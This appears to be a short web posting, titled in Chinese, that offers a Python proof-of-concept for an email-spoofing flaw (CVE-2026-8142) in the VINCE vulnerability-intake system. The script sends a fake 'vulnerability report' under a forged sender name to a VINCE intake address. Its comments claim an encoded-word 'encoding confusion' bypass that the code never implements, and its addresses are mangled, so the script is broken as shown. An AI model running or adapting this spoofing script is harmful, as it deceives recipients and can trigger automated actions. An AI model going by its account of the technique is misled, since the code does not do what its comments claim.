CVE-2026-8142 VINCE邮件欺骗漏洞

import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.utils import formataddr # PoC for CVE-2026-8142: VINCE Encoding Confusion Spoofing def send_spoofed_email(): sender_name = "Legitimate User" # Attempt to use encoding confusion to bypass validation # Example using encoded-word format which might confuse the parser sender_addr = "[email protected]" msg = MIMEMultipart() msg['Subject'] = 'Vulnerability Report' # Construct From header with potential encoding confusion # The target might decode this differently than the validator does msg['From'] = formataddr((sender_name, sender_addr)) msg['To'] = 'vince intake [email protected]' body = "This is a fake vulnerability report triggered via spoofed sender." msg.attach(MIMEText(body, 'plain')) try: # Connect to the target mail server or relay with smtplib.SMTP('mail.example.com', 25) as server: server.sendmail(sender_addr, ['vince intake [email protected]'], msg.as_string()) print("Spoofed email sent potentially triggering automated action.") except Exception as e: print(f"Failed to send email: {e}") if __name__ == "__main__": send_spoofed_email()